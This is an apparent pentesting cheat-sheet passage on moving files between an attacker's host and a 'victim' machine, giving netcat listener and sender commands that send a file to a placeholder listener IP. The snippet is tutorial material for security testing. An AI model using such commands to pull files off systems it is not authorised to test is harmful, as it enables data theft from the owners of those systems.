less than 1 minute read

File Transfer Logo

When pentesting, you have to make do with whatever tools you have, especially if you can’t download more.
Figuring out which tool(s) you have available to get/put files between host and victim is essential.

Linux File Transfers

Netcat

Transfer a single, specified file out.file and receive it as in.file

Listener / Receiver

nc -l -p 8899 > in.file

Host / Sender

# '-w 3' is a 3 second timeout

nc -w 3 [listener IP] 8899 < out.file